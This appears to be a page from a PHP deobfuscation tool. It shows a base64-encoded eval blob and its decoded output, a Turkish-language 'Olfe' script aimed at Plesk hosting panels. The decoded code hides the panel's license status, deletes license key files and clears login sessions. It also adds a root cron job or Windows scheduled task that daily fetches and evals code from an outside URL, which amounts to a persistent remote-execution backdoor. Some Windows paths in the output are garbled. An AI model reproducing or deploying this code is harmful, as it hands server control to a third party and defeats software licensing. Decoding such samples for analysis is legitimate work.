Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
eval(base64_decode("ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnRXVyb3BlL0lzdGFuYnVsJyk7DQppZihp..
Decoded Output download
date_default_timezone_set('Europe/Istanbul');
if(is_file('/usr/local/psa/bin/license')){
$System = 'Linux';
$Lic_Dir = '/etc/sw/keys/keys/';
$File_Lic = '/usr/local/psa/bin/license';
$Xml_Path = '/usr/local/psa/bin/license.xml';
$File_Head = '/usr/local/psa/admin/application/default/layouts/_header.phtml';
$Main_CSS = '/usr/local/psa/admin/cp/public/theme/css/main.css';
$AdminBin = '/usr/local/psa/admin/bin/';
$Exec_End = ' 2>&1';
}elseif(is_file('C:\Program Files (x86)\Parallels\Pleskin\license.exe')){
$System = 'Windows';
$Lic_Dir = 'C:\Program Files (x86)\Parallels\Pleskdmin
epository\keys\';
$File_Lic = 'C:\Program Files (x86)\Parallels\Pleskin\license.exe';
$Xml_Path = 'C:\Program Files (x86)\Parallels\Pleskin\license.xml';
$File_Head = 'C:\Program Files (x86)\Parallels\Pleskdminpplication\default\layouts\_header.phtml';
$Main_CSS = 'C:\Program Files (x86)\Parallels\Pleskdmin\cp\public heme\css\main.css';
$AdminBin = 'C:\Program Files (x86)\Parallels\Pleskdminin\';
$Exec_End = '';
}elseif(is_file('C:\Program Files (x86)\Pleskin\license.exe')){
$System = 'Windows';
$Lic_Dir = 'C:\Program Files (x86)\Pleskdmin
epository\keys\';
$File_Lic = 'C:\Program Files (x86)\Pleskin\license.exe';
$Xml_Path = 'C:\Program Files (x86)\Pleskin\license.xml';
$File_Head = 'C:\Program Files (x86)\Pleskdminpplication\default\layouts\_header.phtml';
$Main_CSS = 'C:\Program Files (x86)\Pleskdmin\cp\public heme\css\main.css';
$AdminBin = 'C:\Program Files (x86)\Pleskdminin\';
$Exec_End = '';
}else{
echo "[1;35mOlfe: [1;37mSunucuda Plesk Panel yazlm bulunamad.\e[0m
";
exit;
}
echo "[1;35mOlfe: [1;37mSistem tr ".$System." olarak tespit edildi.\e[0m
";
if(is_file($File_Lic)){
if(is_file($File_Head)){
$Kaynak = file_get_contents($File_Head);
if(!strstr($Kaynak,'Olfe Lisans')){
if(strstr($Kaynak,'Olfe Lisans') and is_file($File_Head.".orjinal")){
copy($File_Head.".orjinal",$File_Head);
}else{
copy($File_Head,$File_Head.".orjinal");
}
$Kaynak = preg_replace('`<div.*?id="license-status".*?>.*?<\/div>`i','<!--Olfe Lisans-->',$Kaynak);
$Kaynak = preg_replace('`<\?=.*this->licenseStatus\(.*\?>`i','<!--Olfe Lisans-->',$Kaynak);
$Kaynak = file_put_contents($File_Head,$Kaynak);
echo "[1;35mOlfe: [1;37mPanel baaryla gncellendi.\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mPanel zaten gncel.\e[0m
";
}
}
if(is_file($Main_CSS)){
$Kaynak = file_get_contents($Main_CSS);
if(!strstr($Kaynak,'.license-status{display:none;p')){
$Kaynak = str_replace('.license-status{p','.license-status{display:none;p',$Kaynak);
$Kaynak = file_put_contents($Main_CSS,$Kaynak);
echo "[1;35mOlfe: [1;37mPanel baaryla gncellendi.\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mPanel zaten gncel.\e[0m
";
}
}
if($System == 'Linux'){
if(is_file('/var/spool/cron/root')){
$Cron = file_get_contents('/var/spool/cron/root');
if(!strstr($Cron,'Olfe Lisans')){
if(strstr($Cron,'Olfe Lisans')){
shell_exec('sed -ie "/Olfe Lisans/d" /var/spool/cron/root;'.$Exec_End);
}
file_put_contents('/var/spool/cron/root',"0 6 * * * ".$AdminBin."php -er \"eval(file_get_contents('https://olfe.net.tr/plesk/trial/code'));\" #Olfe Lisans
",FILE_APPEND);
echo "[1;35mOlfe: [1;37mCron grevi ekleme baarl.\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m
";
}
}else{
echo "[1;35mOlfe: [1;37m/var/spool/cron/root dizini olmadndan cron grevi kontrol edilemedi.\e[0m
";
echo "[1;35mOlfe: [1;37mCron grevi iin ikinci yntem deneniyor.\e[0m
";
$Cron = file_get_contents('/etc/crontab');
if(!strstr($Cron,'Olfe Lisans')){
if(strstr($Cron,'Olfe Lisans')){
shell_exec('sed -ie "/Olfe Lisans/d" /etc/crontab;'.$Exec_End);
}
file_put_contents('/etc/crontab',"0 6 * * * root ".$AdminBin."php -er \"eval(file_get_contents('https://olfe.net.tr/plesk/trial/code'));\" #Olfe Lisans
",FILE_APPEND);
echo "[1;35mOlfe: [1;37mCron grevi ekleme ikinci yntemle baarl.\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m
";
}
}
}elseif($System == 'Windows'){
$CronBul=trim(shell_exec('schtasks /Query | findstr "Olfe Lisans"'.$Exec_End));
if(!stristr($CronBul,'Olfe Lisans')){
if(stristr($CronBul,'Olfe Lisans')){
preg_match_all('`Olfe Lisans\s\w[.\d]+`i',$CronBul,$Liste, PREG_PATTERN_ORDER);
foreach($Liste[0] as $Tmp => $CNM){
shell_exec('schtasks /Delete /tn "'.trim($CNM).'" /F'.$Exec_End);
}
}
shell_exec('schtasks /create /tn "Olfe Lisans" /tr "\"%plesk_bin%\php.exe\" -er \"eval(file_get_contents(\\"https://olfe.net.tr/plesk/trial/code\\"));\"" /sc DAILY /mo 1'.$Exec_End);
echo "[1;35mOlfe: [1;37mCron grevi ekleme baarl.\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mCron grevi zaten mevcut.\e[0m
";
}
}
$LicDeneSay=1;
foreach(scandir($Lic_Dir) as $File){
if(!in_array($File,['.','..'])){
$Filx=file_get_contents($Lic_Dir.$File);
if(stristr($Filx,'>plesk-unified<') and !stristr($Filx,'plesk-unified:domains core:type="integer">unlimited</plesk-unified:domains')){
echo "[1;35mOlfe: [1;37mEski geersiz lisansnz silindi. Bilgi: ".$Lic_Dir.$File."\e[0m
";
unlink($Lic_Dir.$File);
}elseif(stristr($Filx,'<core:expiration-date core:type="date">')){
$ZamanAl = explode('<core:expiration-date core:type="date">',$Filx,2);
$ZamanAl = explode('</',$ZamanAl[1],2);
if(strtotime($ZamanAl[0]) > strtotime("+1 days")){
echo "[1;35mOlfe: [1;37mDosyanzn sresi gncel gzkyor. Bilgi: ".$Lic_Dir.$File."\e[0m
";
}else{
echo "[1;35mOlfe: [1;37mYaknda bitecek olan mevcut lisansnz silindi. Bilgi: ".$Lic_Dir.$File."\e[0m
";
unlink($Lic_Dir.$File);
}
}else{
echo "[1;35mOlfe: [1;37mMevcut lisans dosyanz hatal, silindi. Bilgi: ".$Lic_Dir.$File."\e[0m
";
unlink($Lic_Dir.$File);
}
}
}
echo "[1;35mOlfe: [1;37mMevcut lisansnz inceleniyor...\e[0m
";
$LicKontrol=trim(@shell_exec('plesk bin license --retrieve'));
if(stristr($LicKontrol,': Done')){
echo "[1;35mOlfe: [1;37mMevcut lisansnz yenilenmeli.\e[0m
";
echo "[1;35mOlfe: [1;37mMevcut lisansnz baaryla yenilendi.\e[0m
";
shell_exec('plesk db "DELETE FROM psa.sessions";');
}elseif(!stristr($LicKontrol,': Done')){
echo "[1;35mOlfe: [1;37mYeni lisans kodunuz: \e[0m
";
LisanslamaUygula:
echo "[1;35mOlfe: [1;37mLisans ykleniyor...\e[0m
";
$Ins=trim(shell_exec('"'.$File_Lic.'" -i ""'.$Exec_End));
if(stristr($Ins,'successfully installed')){
echo "[1;35mOlfe: [1;37mLisans ykleme: [32mBAARILI\e[0m
";
shell_exec('plesk db "DELETE FROM psa.sessions";');
}elseif(0 > 5 and $LicDeneSay < 3){
$LicDeneSay++;
echo "[1;35mOlfe: [1;37mLisans ykleme: [31mBAARISIZ\e[0m
";
OzelLisansAlYukle:
echo "[1;35mOlfe: [1;37mzel lisans tahsis ediliyor.\e[0m
";
echo "[1;35mOlfe: [1;37mzel lisans kodunuz tahsis edildi. Bilgi: \e[0m
";
Goto LisanslamaUygula;
}else{
echo "[1;35mOlfe: [1;37mSistem hatas! Bilgi: '".$Ins."'\e[0m
";
}
}
}
Did this file decode correctly?
Original Code
eval(base64_decode("ZGF0ZV9kZWZhdWx0X3RpbWV6b25lX3NldCgnRXVyb3BlL0lzdGFuYnVsJyk7DQppZihpc19maWxlKCcvdXNyL2xvY2FsL3BzYS9iaW4vbGljZW5zZScpKXsNCgkkU3lzdGVtCT0gJ0xpbnV4JzsNCgkkTGljX0Rpcgk9ICcvZXRjL3N3L2tleXMva2V5cy8nOw0KCSRGaWxlX0xpYwk9ICcvdXNyL2xvY2FsL3BzYS9iaW4vbGljZW5zZSc7DQoJJFhtbF9QYXRoCT0gJy91c3IvbG9jYWwvcHNhL2Jpbi9saWNlbnNlLnhtbCc7DQoJJEZpbGVfSGVhZAk9ICcvdXNyL2xvY2FsL3BzYS9hZG1pbi9hcHBsaWNhdGlvbi9kZWZhdWx0L2xheW91dHMvX2hlYWRlci5waHRtbCc7DQoJJE1haW5fQ1NTCT0gJy91c3IvbG9jYWwvcHNhL2FkbWluL2NwL3B1YmxpYy90aGVtZS9jc3MvbWFpbi5jc3MnOw0KCSRBZG1pbkJpbgk9ICcvdXNyL2xvY2FsL3BzYS9hZG1pbi9iaW4vJzsNCgkkRXhlY19FbmQJPSAnIDI+JjEnOw0KfWVsc2VpZihpc19maWxlKCdDOlxQcm9ncmFtIEZpbGVzICh4ODYpXFBhcmFsbGVsc1xQbGVza1xiaW5cbGljZW5zZS5leGUnKSl7DQoJJFN5c3RlbQk9ICdXaW5kb3dzJzsNCgkkTGljX0Rpcgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGFyYWxsZWxzXFxQbGVza1xcYWRtaW5cXHJlcG9zaXRvcnlcXGtleXNcXCc7DQoJJEZpbGVfTGljCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxiaW5cXGxpY2Vuc2UuZXhlJzsNCgkkWG1sX1BhdGgJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBhcmFsbGVsc1xcUGxlc2tcXGJpblxcbGljZW5zZS54bWwnOw0KCSRGaWxlX0hlYWQJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBhcmFsbGVsc1xcUGxlc2tcXGFkbWluXFxhcHBsaWNhdGlvblxcZGVmYXVsdFxcbGF5b3V0c1xcX2hlYWRlci5waHRtbCc7DQoJJE1haW5fQ1NTCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQYXJhbGxlbHNcXFBsZXNrXFxhZG1pblxcY3BcXHB1YmxpY1xcdGhlbWVcXGNzc1xcbWFpbi5jc3MnOw0KCSRBZG1pbkJpbgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGFyYWxsZWxzXFxQbGVza1xcYWRtaW5cXGJpblxcJzsNCgkkRXhlY19FbmQJPSAnJzsNCn1lbHNlaWYoaXNfZmlsZSgnQzpcUHJvZ3JhbSBGaWxlcyAoeDg2KVxQbGVza1xiaW5cbGljZW5zZS5leGUnKSl7DQoJJFN5c3RlbQk9ICdXaW5kb3dzJzsNCgkkTGljX0Rpcgk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGFkbWluXFxyZXBvc2l0b3J5XFxrZXlzXFwnOw0KCSRGaWxlX0xpYwk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGJpblxcbGljZW5zZS5leGUnOw0KCSRYbWxfUGF0aAk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGJpblxcbGljZW5zZS54bWwnOw0KCSRGaWxlX0hlYWQJPSAnQzpcXFByb2dyYW0gRmlsZXMgKHg4NilcXFBsZXNrXFxhZG1pblxcYXBwbGljYXRpb25cXGRlZmF1bHRcXGxheW91dHNcXF9oZWFkZXIucGh0bWwnOw0KCSRNYWluX0NTUwk9ICdDOlxcUHJvZ3JhbSBGaWxlcyAoeDg2KVxcUGxlc2tcXGFkbWluXFxjcFxccHVibGljXFx0aGVtZVxcY3NzXFxtYWluLmNzcyc7DQoJJEFkbWluQmluCT0gJ0M6XFxQcm9ncmFtIEZpbGVzICh4ODYpXFxQbGVza1xcYWRtaW5cXGJpblxcJzsNCgkkRXhlY19FbmQJPSAnJzsNCn1lbHNlew0KCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtU3VudWN1ZGEgUGxlc2sgUGFuZWwgeWF6xLFsxLFtxLEgYnVsdW5hbWFkxLEuXGVbMG0gXG4iOw0KCWV4aXQ7DQp9DQplY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVNpc3RlbSB0w7xyw7wgIi4kU3lzdGVtLiIgb2xhcmFrIHRlc3BpdCBlZGlsZGkuXGVbMG0gXG4iOw0KaWYoaXNfZmlsZSgkRmlsZV9MaWMpKXsNCglpZihpc19maWxlKCRGaWxlX0hlYWQpKXsNCgkJJEtheW5hawk9IGZpbGVfZ2V0X2NvbnRlbnRzKCRGaWxlX0hlYWQpOw0KCQlpZighc3Ryc3RyKCRLYXluYWssJ09sZmUgTGlzYW5zJykpew0KCQkJaWYoc3Ryc3RyKCRLYXluYWssJ09sZmUgTGlzYW5zJykgYW5kIGlzX2ZpbGUoJEZpbGVfSGVhZC4iLm9yamluYWwiKSl7DQoJCQkJY29weSgkRmlsZV9IZWFkLiIub3JqaW5hbCIsJEZpbGVfSGVhZCk7DQoJCQl9ZWxzZXsNCgkJCQljb3B5KCRGaWxlX0hlYWQsJEZpbGVfSGVhZC4iLm9yamluYWwiKTsNCgkJCX0NCgkJCSRLYXluYWsJPSBwcmVnX3JlcGxhY2UoJ2A8ZGl2Lio/aWQ9ImxpY2Vuc2Utc3RhdHVzIi4qPz4uKj88XC9kaXY+YGknLCc8IS0tT2xmZSBMaXNhbnMtLT4nLCRLYXluYWspOw0KCQkJJEtheW5hawk9IHByZWdfcmVwbGFjZSgnYDxcPz0uKnRoaXMtPmxpY2Vuc2VTdGF0dXNcKC4qXD8+YGknLCc8IS0tT2xmZSBMaXNhbnMtLT4nLCRLYXluYWspOw0KCQkJJEtheW5hawk9IGZpbGVfcHV0X2NvbnRlbnRzKCRGaWxlX0hlYWQsJEtheW5hayk7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVBhbmVsIGJhxZ9hcsSxeWxhIGfDvG5jZWxsZW5kaS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21QYW5lbCB6YXRlbiBnw7xuY2VsLlxlWzBtIFxuIjsNCgkJfQ0KCX0NCglpZihpc19maWxlKCRNYWluX0NTUykpew0KCQkkS2F5bmFrCT0gZmlsZV9nZXRfY29udGVudHMoJE1haW5fQ1NTKTsNCgkJaWYoIXN0cnN0cigkS2F5bmFrLCcubGljZW5zZS1zdGF0dXN7ZGlzcGxheTpub25lO3AnKSl7DQoJCQkkS2F5bmFrCT0gc3RyX3JlcGxhY2UoJy5saWNlbnNlLXN0YXR1c3twJywnLmxpY2Vuc2Utc3RhdHVze2Rpc3BsYXk6bm9uZTtwJywkS2F5bmFrKTsNCgkJCSRLYXluYWsJPSBmaWxlX3B1dF9jb250ZW50cygkTWFpbl9DU1MsJEtheW5hayk7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bVBhbmVsIGJhxZ9hcsSxeWxhIGfDvG5jZWxsZW5kaS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21QYW5lbCB6YXRlbiBnw7xuY2VsLlxlWzBtIFxuIjsNCgkJfQ0KCX0NCglpZigkU3lzdGVtID09ICdMaW51eCcpew0KCQlpZihpc19maWxlKCcvdmFyL3Nwb29sL2Nyb24vcm9vdCcpKXsNCgkJCSRDcm9uCT0gZmlsZV9nZXRfY29udGVudHMoJy92YXIvc3Bvb2wvY3Jvbi9yb290Jyk7DQoJCQlpZighc3Ryc3RyKCRDcm9uLCdPbGZlIExpc2FucycpKXsNCgkJCQlpZihzdHJzdHIoJENyb24sJ09sZmUgTGlzYW5zJykpew0KCQkJCQlzaGVsbF9leGVjKCdzZWQgLWllICIvT2xmZSBMaXNhbnMvZCIgL3Zhci9zcG9vbC9jcm9uL3Jvb3Q7Jy4kRXhlY19FbmQpOw0KCQkJCX0NCgkJCQlmaWxlX3B1dF9jb250ZW50cygnL3Zhci9zcG9vbC9jcm9uL3Jvb3QnLCIwXHQ2XHQqXHQqXHQqXHQiLiRBZG1pbkJpbi4icGhwIC1lciBcImV2YWwoZmlsZV9nZXRfY29udGVudHMoJ2h0dHBzOi8vb2xmZS5uZXQudHIvcGxlc2svdHJpYWwvY29kZScpKTtcIlx0I09sZmUgTGlzYW5zXG4iLEZJTEVfQVBQRU5EKTsNCgkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUNyb24gZ8O2cmV2aSBla2xlbWUgYmHFn2FyxLFsxLEuXGVbMG0gXG4iOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJCX0NCgkJfWVsc2V7DQoJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bS92YXIvc3Bvb2wvY3Jvbi9yb290IGRpemluaSBvbG1hZMSxxJ/EsW5kYW4gY3JvbiBnw7ZyZXZpIGtvbnRyb2wgZWRpbGVtZWRpLlxlWzBtIFxuIjsJCQ0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgacOnaW4gaWtpbmNpIHnDtm50ZW0gZGVuZW5peW9yLlxlWzBtIFxuIjsJCQ0KDQoJCQkkQ3Jvbgk9IGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2Nyb250YWInKTsNCgkJCWlmKCFzdHJzdHIoJENyb24sJ09sZmUgTGlzYW5zJykpew0KCQkJCWlmKHN0cnN0cigkQ3JvbiwnT2xmZSBMaXNhbnMnKSl7DQoJCQkJCXNoZWxsX2V4ZWMoJ3NlZCAtaWUgIi9PbGZlIExpc2Fucy9kIiAvZXRjL2Nyb250YWI7Jy4kRXhlY19FbmQpOw0KCQkJCX0NCgkJCQlmaWxlX3B1dF9jb250ZW50cygnL2V0Yy9jcm9udGFiJywiMFx0Nlx0Klx0Klx0Klx0IHJvb3QgIi4kQWRtaW5CaW4uInBocCAtZXIgXCJldmFsKGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL29sZmUubmV0LnRyL3BsZXNrL3RyaWFsL2NvZGUnKSk7XCJcdCNPbGZlIExpc2Fuc1xuIixGSUxFX0FQUEVORCk7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgZWtsZW1lIGlraW5jaSB5w7ZudGVtbGUgYmHFn2FyxLFsxLEuXGVbMG0gXG4iOw0KCQkJfWVsc2V7DQoJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJCX0NCgkJfQ0KCQkJDQoJfWVsc2VpZigkU3lzdGVtID09ICdXaW5kb3dzJyl7DQoJCSRDcm9uQnVsPXRyaW0oc2hlbGxfZXhlYygnc2NodGFza3MgL1F1ZXJ5IHwgZmluZHN0ciAiT2xmZSBMaXNhbnMiJy4kRXhlY19FbmQpKTsNCgkJaWYoIXN0cmlzdHIoJENyb25CdWwsJ09sZmUgTGlzYW5zJykpew0KCQkJaWYoc3RyaXN0cigkQ3JvbkJ1bCwnT2xmZSBMaXNhbnMnKSl7DQoJCQkJcHJlZ19tYXRjaF9hbGwoJ2BPbGZlIExpc2Fuc1xzXHdbLlxkXStgaScsJENyb25CdWwsJExpc3RlLCBQUkVHX1BBVFRFUk5fT1JERVIpOw0KCQkJCWZvcmVhY2goJExpc3RlWzBdIGFzICRUbXAgPT4gJENOTSl7DQoJCQkJCXNoZWxsX2V4ZWMoJ3NjaHRhc2tzIC9EZWxldGUgL3RuICInLnRyaW0oJENOTSkuJyIgL0YnLiRFeGVjX0VuZCk7DQoJCQkJfQ0KCQkJfQ0KCQkJc2hlbGxfZXhlYygnc2NodGFza3MgL2NyZWF0ZSAvdG4gIk9sZmUgTGlzYW5zIiAvdHIgIlwiJXBsZXNrX2JpbiVccGhwLmV4ZVwiIC1lciBcImV2YWwoZmlsZV9nZXRfY29udGVudHMoXFxcXFwiaHR0cHM6Ly9vbGZlLm5ldC50ci9wbGVzay90cmlhbC9jb2RlXFxcXFwiKSk7XCIiIC9zYyBEQUlMWSAvbW8gMScuJEV4ZWNfRW5kKTsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtQ3JvbiBnw7ZyZXZpIGVrbGVtZSBiYcWfYXLEsWzEsS5cZVswbSBcbiI7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Dcm9uIGfDtnJldmkgemF0ZW4gbWV2Y3V0LlxlWzBtIFxuIjsNCgkJfQ0KCX0NCgkkTGljRGVuZVNheT0xOw0KCWZvcmVhY2goc2NhbmRpcigkTGljX0RpcikgYXMgJEZpbGUpew0KCQlpZighaW5fYXJyYXkoJEZpbGUsWycuJywnLi4nXSkpew0KCQkJJEZpbHg9ZmlsZV9nZXRfY29udGVudHMoJExpY19EaXIuJEZpbGUpOw0KCQkJaWYoc3RyaXN0cigkRmlseCwnPnBsZXNrLXVuaWZpZWQ8JykgYW5kICFzdHJpc3RyKCRGaWx4LCdwbGVzay11bmlmaWVkOmRvbWFpbnMgY29yZTp0eXBlPSJpbnRlZ2VyIj51bmxpbWl0ZWQ8L3BsZXNrLXVuaWZpZWQ6ZG9tYWlucycpKXsNCgkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUVza2kgZ2XDp2Vyc2l6IGxpc2Fuc8SxbsSxeiBzaWxpbmRpLiBCaWxnaTogIi4kTGljX0Rpci4kRmlsZS4iXGVbMG0gXG4iOw0KCQkJCXVubGluaygkTGljX0Rpci4kRmlsZSk7DQoJCQl9ZWxzZWlmKHN0cmlzdHIoJEZpbHgsJzxjb3JlOmV4cGlyYXRpb24tZGF0ZSBjb3JlOnR5cGU9ImRhdGUiPicpKXsNCgkJCQkkWmFtYW5BbAk9IGV4cGxvZGUoJzxjb3JlOmV4cGlyYXRpb24tZGF0ZSBjb3JlOnR5cGU9ImRhdGUiPicsJEZpbHgsMik7DQoJCQkJJFphbWFuQWwJPSBleHBsb2RlKCc8LycsJFphbWFuQWxbMV0sMik7DQoJCQkJaWYoc3RydG90aW1lKCRaYW1hbkFsWzBdKSA+IHN0cnRvdGltZSgiKzEgZGF5cyIpKXsNCgkJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21Eb3N5YW7EsXrEsW4gc8O8cmVzaSBnw7xuY2VsIGfDtnrDvGvDvHlvci4gQmlsZ2k6ICIuJExpY19EaXIuJEZpbGUuIlxlWzBtIFxuIjsNCgkJCQl9ZWxzZXsNCgkJCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21ZYWvEsW5kYSBiaXRlY2VrIG9sYW4gbWV2Y3V0IGxpc2Fuc8SxbsSxeiBzaWxpbmRpLiBCaWxnaTogIi4kTGljX0Rpci4kRmlsZS4iXGVbMG0gXG4iOw0KCQkJCQl1bmxpbmsoJExpY19EaXIuJEZpbGUpOw0KCQkJCX0NCgkJCX1lbHNlew0KCQkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2FucyBkb3N5YW7EsXogaGF0YWzEsSwgc2lsaW5kaS4gQmlsZ2k6ICIuJExpY19EaXIuJEZpbGUuIlxlWzBtIFxuIjsNCgkJCQl1bmxpbmsoJExpY19EaXIuJEZpbGUpOw0KCQkJfQ0KCQl9DQoJfQ0KCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiBpbmNlbGVuaXlvci4uLlxlWzBtIFxuIjsNCgkJJExpY0tvbnRyb2w9dHJpbShAc2hlbGxfZXhlYygncGxlc2sgYmluIGxpY2Vuc2UgLS1yZXRyaWV2ZScpKTsNCglpZihzdHJpc3RyKCRMaWNLb250cm9sLCc6IERvbmUnKSl7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiB5ZW5pbGVubWVsaS5cZVswbSBcbiI7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTWV2Y3V0IGxpc2Fuc8SxbsSxeiBiYcWfYXLEsXlsYSB5ZW5pbGVuZGkuXGVbMG0gXG4iOw0KCQlzaGVsbF9leGVjKCdwbGVzayBkYiAiREVMRVRFIEZST00gcHNhLnNlc3Npb25zIjsnKTsNCgl9ZWxzZWlmKCFzdHJpc3RyKCRMaWNLb250cm9sLCc6IERvbmUnKSl7DQoJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtWWVuaSBsaXNhbnMga29kdW51ejogXGVbMG0gXG4iOw0KCQlMaXNhbnNsYW1hVXlndWxhOg0KCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bUxpc2FucyB5w7xrbGVuaXlvci4uLlxlWzBtIFxuIjsNCgkJJElucz10cmltKHNoZWxsX2V4ZWMoJyInLiRGaWxlX0xpYy4nIiAtaSAiIicuJEV4ZWNfRW5kKSk7DQoJCWlmKHN0cmlzdHIoJElucywnc3VjY2Vzc2Z1bGx5IGluc3RhbGxlZCcpKXsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTGlzYW5zIHnDvGtsZW1lOiBcMDMzWzMybUJBxZ5BUklMSVxlWzBtIFxuIjsNCgkJCXNoZWxsX2V4ZWMoJ3BsZXNrIGRiICJERUxFVEUgRlJPTSBwc2Euc2Vzc2lvbnMiOycpOw0KCQl9ZWxzZWlmKDAgPiA1IGFuZCAkTGljRGVuZVNheSA8IDMpew0KCQkJJExpY0RlbmVTYXkrKzsNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7MzdtTGlzYW5zIHnDvGtsZW1lOiBcMDMzWzMxbUJBxZ5BUklTSVpcZVswbSBcbiI7DQoJCQlPemVsTGlzYW5zQWxZdWtsZToNCgkJCWVjaG8gIlwwMzNbMTszNW1PbGZlOiBcMDMzWzE7Mzdtw5Z6ZWwgbGlzYW5zIHRhaHNpcyBlZGlsaXlvci5cZVswbSBcbiI7DQoJCQkJCQllY2hvICJcMDMzWzE7MzVtT2xmZTogXDAzM1sxOzM3bcOWemVsIGxpc2FucyBrb2R1bnV6IHRhaHNpcyBlZGlsZGkuIEJpbGdpOiBcZVswbSBcbiI7DQoJCQlHb3RvIExpc2Fuc2xhbWFVeWd1bGE7DQoJCX1lbHNlew0KCQkJZWNobyAiXDAzM1sxOzM1bU9sZmU6IFwwMzNbMTszN21TaXN0ZW0gaGF0YXPEsSEgQmlsZ2k6ICciLiRJbnMuIidcZVswbSBcbiI7DQoJCX0NCgl9DQp9DQo="));
Function Calls
base64_decode | 1 |
Stats
MD5 | e4f66cdf11796f5c0b31391271d82251 |
Eval Count | 1 |
Decode Time | 84 ms |